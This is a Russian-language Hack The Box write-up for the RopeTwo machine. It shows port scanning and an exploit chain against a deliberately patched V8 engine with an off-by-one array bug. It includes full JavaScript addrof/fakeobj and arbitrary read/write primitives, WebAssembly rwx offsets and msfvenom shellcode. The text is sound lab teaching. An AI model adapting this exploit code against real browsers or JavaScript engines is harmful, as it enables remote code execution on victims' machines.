Речь, конеч­но же, пой­дет не о цилин­драх и кла­панах. В этой статье мы погово­рим о Google V8 Engine — движ­ке JS, который сто­ит в Chromium и Android. Вер­нее, мы будем ломать его на самой слож­ной в рей­тин­ге сооб­щес­тва Hack The Box тач­ке RopeTwo. Ты узна­ешь, какие типы дан­ных есть в движ­ке, как мож­но ими манипу­лиро­вать, что­бы заг­рузить в память свой экс­пло­ит, научишь­ся исполь­зовать механиз­мы отладки V8, узна­ешь, что такое WebAssembly и как про­ник­нуть бла­года­ря это­му в шелл RopeTwo.
 

Разведка

На­чина­ем, как всег­да, со ска­ниро­вания пор­тов. Оче­вид­но, что на машине такого уров­ня необ­ходимо прой­тись по всем пор­там (TCP + UDP 1–65 535). Для это­го удоб­но исполь­зовать masscan — быс­трый ска­нер пор­тов:

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196

Ви­дим, что откры­то все­го пять пор­тов TCP. Прос­каниру­ем их с прис­трас­тием хорошо всем извес­тным ска­нером Nmap, что­бы узнать под­робнос­ти.

nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

Ви­дим SSH, три веб‑сер­вера и неиз­вес­тный порт. Идем смот­реть, что нам покажет бра­узер.

На 5000-м портe нас пред­ска­зуемо ждет GitLab, мы это видели в отче­те Nmap.

На 5000-м порте — приветствие GitLab
На 5000-м пор­те — при­ветс­твие GitLab

На 8000-м пор­те — веб‑сер­вер на Python Werkzeug (WSGI) показы­вает нам прос­тень­кий сайт по раз­работ­ке V8 — движ­ка JavaScript с откры­тыми исходни­ками, который раз­рабаты­вают в Google для исполь­зования в бра­узе­ре Chrome и дру­гих про­ектах. Под­робнее о нем мож­но почитать на офи­циаль­ном сай­те.

На 8000-м порте — страница с исходниками и контактами
На 8000-м пор­те — стра­ница с исходни­ками и кон­такта­ми

Прок­рутив стра­ницу, видим ссыл­ку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.

Ссылка на исходный код
Ссыл­ка на исходный код

На 8060-м пор­те мы видим 404 Not Found. Порт 9094 на зап­росы отве­чать не хочет.

По тра­диции добавим най­ден­ный домен в /etc/hosts:

10.10.10.196 rope2.htb gitlab.rope2.htb
 

Плацдарм

Раз нам пред­лага­ют пос­мотреть исходные коды, грех не вос­поль­зовать­ся такой воз­можностью.

Репозиторий с исходниками V8
Ре­пози­торий с исходни­ками V8

Мы видим исходные коды V8 и отдель­ную вет­ку, соз­данную авто­ром ВМ, которая содер­жит один ком­мит с неболь­шими изме­нени­ями. Оче­вид­но, что эти изме­нения дол­жны нам помочь. Изме­нены все­го четыре фай­ла, пос­мотрим на них вни­матель­нее.

Изменения src/builtins/builtins-definitions.h
Из­менения src/builtins/builtins-definitions.h

В фай­ле заголов­ков добав­лены две фун­кции для работы с мас­сивами: ArrayGetLastElement и ArraySetLastElement. CPP — это мак­рос, который добав­ляет записи этих фун­кций в мас­сив метадан­ных.

www

Под­робнее об этом мож­но про­честь в до­кумен­тации, в раз­деле Builtins.

Изменения src/init/bootstrapper.cc
Из­менения src/init/bootstrapper.cc

Ин­стал­лиру­ем про­тоти­пы GetLastElement и SetLastElement в качес­тве встро­енных фун­кций.

Изменения src/compiler/typer.cc
Из­менения src/compiler/typer.cc

Оп­ределя­ем вызовы фун­кций.

Изменения src/builtins/builtins-array.cc
Из­менения src/builtins/builtins-array.cc

Вот мы и доб­рались до самого инте­рес­ного — исходно­го кода самих фун­кций. Фун­кция GetLastElement кон­верти­рует мас­сив в FixedDoubleArray и воз­вра­щает его пос­ледний эле­мент — array[length]. Фун­кция SetLastElement записы­вает передан­ное ей зна­чение в пос­ледний эле­мент array[length] с типом float. Поп­робуй, не читая даль­ше, догадать­ся, в чем тут под­вох.

Пос­коль­ку у меня не было глу­боких зна­ний движ­ка V8, приш­лось прив­лекать на помощь интернет. По клю­чевым выраже­ниям из при­веден­ных выше исходни­ков я доволь­но быс­тро нашел отличный рай­тап Фараза Абра­ра Exploiting v8: *CTF 2019 oob-v8, ком­мит с изме­нени­ями в котором как две кап­ли воды похож на наш.

Я уже пред­вку­шал лег­кую победу, но не тут‑то было. Не буду под­робно рас­писывать весь про­цесс, так как он деталь­но изло­жен в рай­тапе, толь­ко крат­ко зат­рону основные момен­ты и оста­нов­люсь под­робнее на клю­чевых отли­чиях.

Итак, основное отли­чие в ком­митах толь­ко в том, что в рай­тапе за чте­ние и запись эле­мен­тов в мас­сив отве­чает лишь одна фун­кция, которая выпол­няет то или иное дей­ствие в зависи­мос­ти от количес­тва передан­ных ей перемен­ных.

Уяз­вимость же в них одна и та же. Наде­юсь, ты уже догадал­ся, какая? Пос­коль­ку адре­сация мас­сива начина­ется с 0, то array[length] поз­воля­ет нам читать и писать один эле­мент вне гра­ниц мас­сива. Оста­лось понять, как мы можем это исполь­зовать.

 

Поднимаем стенд

Для начала ска­чива­ем diff-файл.

Скачиваем diff
Ска­чива­ем diff

На­зовем файл v8.diff, в кон­це добавим допол­нитель­ный перенос стро­ки, что­бы git apply не ругал­ся.

Да­лее выпол­няем сле­дующие коман­ды (стенд я раз­вернул на Ubuntu 19.04):

artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc

artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version

Вни­мание: ком­пиляция каж­дого релиза может выпол­нять­ся нес­коль­ко часов!

 

Пишет эксплоит

Пер­вое, что нам необ­ходимо, — добить­ся утеч­ки адре­са мас­сива. Для это­го напишем скрипт, осно­ван­ный на рай­тапе Фараза. Смысл в том, что­бы изме­нить ука­затель obj_array_map мас­сива obj_array на float_array_map мас­сива float_array, так как струк­тура Map у этих объ­ектов отли­чает­ся.

Очень важ­ный момент, на котором осно­вана экс­плу­ата­ция, — в то вре­мя как зап­рос нулево­го индекса float_array воз­вра­щает зна­чение эле­мен­та мас­сива, нулевой индекс obj_array воз­вра­щает ука­затель на объ­ект (который потом пре­обра­зует­ся в зна­чение). И если мы под­меним кар­ту (Map) obj_array кар­той float_array и обра­тим­ся к нулево­му индексу, мы получим не зна­чение эле­мен­та мас­сива, а ука­затель объ­екта в виде float! А бла­года­ря най­ден­ной уяз­вимос­ти заменить кар­ту тру­да не сос­тавля­ет, так как она находит­ся за эле­мен­тами мас­сива в струк­туре JSArray.

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.SetLastElement(float_arr_map);
let addr = obj_arr[0];
obj_arr.SetLastElement(obj_arr_map);
return ftoi(addr);
}
var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));

Про­буем запус­тить наш скрипт и... получа­ем SEGV_ACCERR:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8

==== C stack trace ===============================

[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)

Ключ --allow-natives-syntax поз­воля­ет выпол­нять %DebugPrint() — фун­кцию, которая выводит отла­доч­ную информа­цию об объ­ектах в V8.

Тут мне ста­ло инте­рес­но, что получит­ся, если я заменю diff с HTB oob.diff. Если хочешь пов­торить мой экспе­римент, соз­дай клон ВМ и выпол­ни коман­ды

artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version

Но перед этим необ­ходимо внес­ти сле­дующие прав­ки в oob.diff, так как струк­тура фай­лов и их содер­жимое в новой вер­сии нем­ного поменя­лись.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc

index b027d36..ef1002f 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h

index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayOob) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)

Так­же в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нуж­но испра­вить length()->Number() на length().Number():

+ uint32_t length = static_cast<uint32_t>(array->length().Number());

Как и сле­дова­ло ожи­дать, поменяв в скрип­те наз­вания фун­кций на oob и запус­тив его, я получил тот же резуль­тат! Вывод один — про­изош­ли изме­нения в самом движ­ке V8.

Тут надо упо­мянуть, что в OOB исполь­зовалась вер­сия V8 version 7.5.0, а в нашем слу­чае — V8 version 8.5.0. Поэто­му прос­то взять экс­пло­ит, запус­тить и получить вож­делен­ный шелл не получит­ся.

Приш­лось перечи­тать мас­су информа­ции, преж­де чем приш­ло понима­ние: раз­гадка кро­ется в ком­прес­сии ука­зате­лей, которая появи­лась в новой вер­сии V8.

Что это — опи­сано чуть ниже. Сей­час же дос­таточ­но понять, что в новой вер­сии эле­мен­ты мас­сива float_array 64-бит­ные, а obj_array — толь­ко 32-бит­ные. Поэто­му, что­бы раз­мерность мас­сивов сов­падала, нуж­но добавить еще один эле­мент в мас­сив obj_array.

Итак, испра­вим var obj_arr = [obj]; на var obj_arr = [obj, obj];

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>

Segmentation fault боль­ше нет, но адре­са не сов­пада­ют. Догады­ваешь­ся почему? Добавив еще один эле­мент в мас­сив, мы изме­нили его дли­ну, и фун­кция SetLastElement записы­вает зна­чение не туда, куда нам тре­бует­ся (а тре­бует­ся, как ты пом­нишь, заменить ука­затель на объ­ект Map, который рас­положен в памяти сра­зу пос­ле самих эле­мен­тов мас­сива).

К счастью, мы можем лег­ко это испра­вить, добавив строч­ку obj_arr.length = 1;.

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5

Бин­го! Если пос­мотреть вни­матель­но, то млад­шие 32 бита сов­пада­ют! А стар­шие не сов­пада­ют, как уже был ска­зано выше, из‑за ком­прес­сии ука­зате­лей.

Не буду опи­сывать, что такое ком­прес­сия ука­зате­лей, Фараз под­робно написал об этом в дру­гой статье.

Для наг­ляднос­ти и луч­шего понима­ния я схе­матич­но изоб­разил, как пред­став­лен в памяти мас­сив объ­ектов и мас­сив чисел с пла­вающей точ­кой (float).

Структура массивов Obj и Float
Струк­тура мас­сивов Obj и Float

Ес­ли вкрат­це, этот механизм поз­воля­ет повысить про­изво­дитель­ность движ­ка V8. Стар­шие 32 бита кучи (heap) всег­да оста­вались оди­нако­выми при каж­дом запус­ке движ­ка. Поэто­му раз­работ­чики решили, что нет смыс­ла опе­риро­вать 64-бит­ными ука­зате­лями, пос­коль­ку это лиш­няя тра­та ресур­сов, и вве­ли понятие isolate root — стар­шие 32 бита адре­са, которые всег­да оди­нако­вы и хра­нят­ся в регис­тре R13 (его обоз­вали root register). Поэто­му, что­бы получить пра­виль­ный 64-бит­ный адрес, нам нуж­но было бы зап­росить стар­шие 32 бита в R13. Но это делать необя­затель­но.

Как же нам вый­ти за пре­делы 32-бит­ного прос­транс­тва кучи, спро­сишь ты? Есть спо­соб, который зак­люча­ется в соз­дании объ­екта ArrayBuffer и переза­писи его ука­зате­ля backing_store. Этот ука­затель алло­циру­ет фун­кция PartitionAlloc, которая работа­ет с адре­сами вне кучи. Поэто­му, исполь­зуя объ­ект DataView для записи в память с переза­писан­ным backing_store, мы можем получить при­митив про­изволь­ного чте­ния и записи!

Окей, у нас есть фун­кция addrof, и, если мы инверти­руем ее логику (поменя­ем мес­тами мас­сив объ­ектов и мас­сив float), мы получим фун­кцию fakeobj, которая поможет нам читать из про­изволь­ных учас­тков памяти и писать в них:

function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.SetLastElement(obj_arr_map);
let fake = float_arr[0];
float_arr.SetLastElement(float_arr_map);
return fake;
}
var a = [1.1, 1.2, 1.3, 1.4];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr_map = float_arr.GetLastElement();
var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("0x"+addrof(crafted_arr).toString(16));
var fake = fakeobj(addrof(crafted_arr)-0x20n);

До­бавим код лис­тинга к пре­дыду­щему и пос­мотрим, что получи­лось.

За­пус­тим скрипт с помощью отладчи­ка.

artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <-- нулевой эле­мент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002

Те­гиро­вание ука­зате­лей — это механизм в V8, который нужен для раз­личения типов double, SMI (small integer) и pointer. Из‑за вырав­нивания ука­зате­ли обыч­но ука­зыва­ют на учас­тки памяти, крат­ные 4 и 8. А это зна­чит, что пос­ледние 2–3 бита всег­да рав­ны нулю. V8 исполь­зует это свой­ство, «вклю­чая» пос­ледний бит для обоз­начения ука­зате­ля. Поэто­му для получе­ния исходно­го адре­са нам нуж­но вычесть из тегиро­ван­ного адре­са еди­ницу.

Про­буем записать вто­рой эле­мент (ука­затель на elements) и про­читать его:

crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);

Но не тут‑то было, опять получа­ем Segmentation fault.

Тут я надол­го завис с дебаг­гером, пока не вспом­нил о новом раз­мере ука­зате­лей. Ведь раз­мерность эле­мен­тов мас­сива float — 64 бита, поэто­му при замене кар­ты мас­сива на мес­те пер­вого эле­мен­та float ока­зыва­ется вто­рой эле­мент мас­сива obj, в котором раз­мерность эле­мен­тов — 32 бита. Сле­дова­тель­но, записав адрес в пер­вый индекс мас­сива float, мы получим ссыл­ку на elements мас­сива obj.

Дос­таточ­но поменять crafted_arr[2] на crafted_arr[1], и все нач­нет работать как положе­но. А что­бы про­читать жела­емое зна­чение (нулево­го эле­мен­та fake), нуж­но соот­ветс­твен­но поменять и сме­щение elements с 0x10 на 0x08 (так как ука­затель теперь 32-бит­ный). Про­буем.

d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <-- записа­ли адрес для чте­ния
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
d8> "0x"+ftoi(fake[0]).toString(16);
"0x80406e908241909" <-- и успешно про­чита­ли зна­чение, на которое он ука­зыва­ет

Объ­ясню под­робнее, как это работа­ет. Соз­дадим мас­сив float и пос­мотрим на отла­доч­ную информа­цию. Запус­кать необ­ходимо в дебаг‑релизе, что­бы уви­деть под­робный вывод %DebugPrint() об адре­сах.

pwndbg> file d8
Reading symbols from d8...
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}
...

Ви­дим, что сме­щение elements от начала струк­туры JSArray рав­но 0x28:

0x274a080c5e51-0x274a080c5e29 == 0x28

Пос­мотрим на эле­мен­ты мас­сива, которые находят­ся в памяти перед струк­турой JSArray:

pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e

Ну­левой эле­мент мас­сива рас­положен по адре­су

index 0 == 0x274a080c5e30 == elements + 0x08

Пред­положим, мы помес­тим fake_object по адре­су 0x274a080c5e30. Если далее мы заменим в fake_object кар­ту float_arr_map на obj_arr_map (при этом мы затира­ем поле properties, но это нек­ритич­но), то пер­вый индекс мас­сива crafted_arr будет содер­жать ука­затель на эле­мен­ты fake_object, так как раз­мерность ука­зате­лей — 32 бита, а эле­мен­тов мас­сива Float — 64 бита. Поэто­му, обра­тив­шись к fake_object[0], мы про­чита­ем зна­чение по адре­су, который запишем в пер­вый индекс crafted_arr.
Схе­матич­но это мож­но изоб­разить так.

Структура массива для произвольного чтения и записи
Струк­тура мас­сива для про­изволь­ного чте­ния и записи

Что ж, теперь с помощью вспо­мога­тель­ных фун­кций, которые я не буду под­робно опи­сывать (в кон­це раз­дела будет лис­тинг с ком­мента­риями), мы можем писать и читать про­изволь­ные адре­са!

Ос­талось най­ти область памяти, которая бы поз­воляла еще и выпол­нить в ней наш код (rwx). И такая область есть, с ней работа­ет модуль WebAssembly.

WebAssembly (сок­ращен­но wasm) — безопас­ный и эффектив­ный низ­коуров­невый бинар­ный фор­мат для веба. Сте­ковая вир­туаль­ная машина, исполня­ющая инс­трук­ции бинар­ного фор­мата wasm, может быть запуще­на как в сре­де бра­узе­ра, так и в сер­верной сре­де. Код на wasm — перено­симое абс­трак­тное син­такси­чес­кое дерево, что обес­печива­ет как более быс­трый ана­лиз, так и более эффектив­ное выпол­нение в срав­нении с JavaScript.

Соб­рав экс­пло­ит с уче­том всех опи­сан­ных изме­нений, я вновь получил Segmentation fault.

Об­ласть rwx в текущих реали­заци­ях движ­ка всег­да находит­ся на оди­нако­вом сме­щении от объ­екта WasmInstanceObject. В вер­сии 7.5.0 оно рав­нялось 0x87. Будем выяс­нять, каково оно в 8.5.0. Для это­го соз­дадим прос­той скрипт wasm.js с объ­ектом wasmInstance и запус­тим его под отладчи­ком:

var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--

По­лучи­ли адрес WasmInstanceObject: 0x2f1108250375. Теперь най­дем в спис­ке про­цес­сов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его кар­те памяти области rwx:

artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0

Ура, есть такая! Мы получи­ли адрес rwx: 0xb444a6ea000. Оста­лось най­ти адрес ука­зате­ля на эту область, для это­го в pwndbg вос­поль­зуем­ся сле­дующей коман­дой:

pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000

Ука­затель рас­положен по адре­су 0x2f11082503dc. Оста­лось рас­счи­тать сме­щение:

python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68

За­меним его в скрип­те. Но есть еще один ука­затель, сме­щение которо­го поменя­лось, это backing_store.

Что­бы его най­ти, опять запус­тим дебаг‑релиз V8 под отладчи­ком:

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--

Ви­дим зна­чение backing_store: 0x5555556f2e80. Вычис­лим сме­щение (я выделил его крас­ным), не забыва­ем о little endian.

Смещение backing_store
Сме­щение backing_store

Итак, сме­щение рав­но 0x14.

По­хоже, на этом все, мож­но про­бовать! Готовим наш тес­товый пей­лоад с помощью ути­литы msfvenom. Все, что он дела­ет, — выводит стро­ку «PWNED!».

msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005

А вот и финаль­ный код экс­пло­ита с ком­мента­риями:

// Вспомогательные функции конвертации между float и Integer
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0]=val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// Создаем addrof-примитив
var obj = {"A":1};
var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)
obj_arr.length = 1; // Указываем принудительно размер массива = 1
var float_arr = [1.1, 1.2];
// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
// Помещаем объект, адрес которого нам нужен, в index 0
obj_arr[0] = in_obj;
// Заменяем карту массива obj картой массива float
obj_arr.SetLastElement(float_arr_map);
// Получаем адрес, обращаясь к index 0
let addr = obj_arr[0];
// Заменяем карту обратно на obj
obj_arr.SetLastElement(obj_arr_map);
// Возвращаем адрес в формате BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// Конвертируем адрес во float и помещаем его в нулевой элемент массива float
float_arr[0] = itof(addr);
// Меняем карту float на карту массива obj
float_arr.SetLastElement(obj_arr_map);
// Получаем объект "fake", на который указывает адрес
let fake = float_arr[0];
// Меняем карту обратно на float
float_arr.SetLastElement(float_arr_map);
// Возвращаем полученный объект
return fake;
}
// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес
if (addr % 2n == 0)
addr += 1n;
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель elements arb_rw_arr на read_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);
// Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,
// и возвращаем его в формате float
return ftoi(fake[0]);
}
function arb_write(addr, val) {
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель на элементы arb_rw_arr на write_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //
// Записываем значение в нулевой элемент в формате float,
fake[0] = itof(BigInt(val));
}
// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
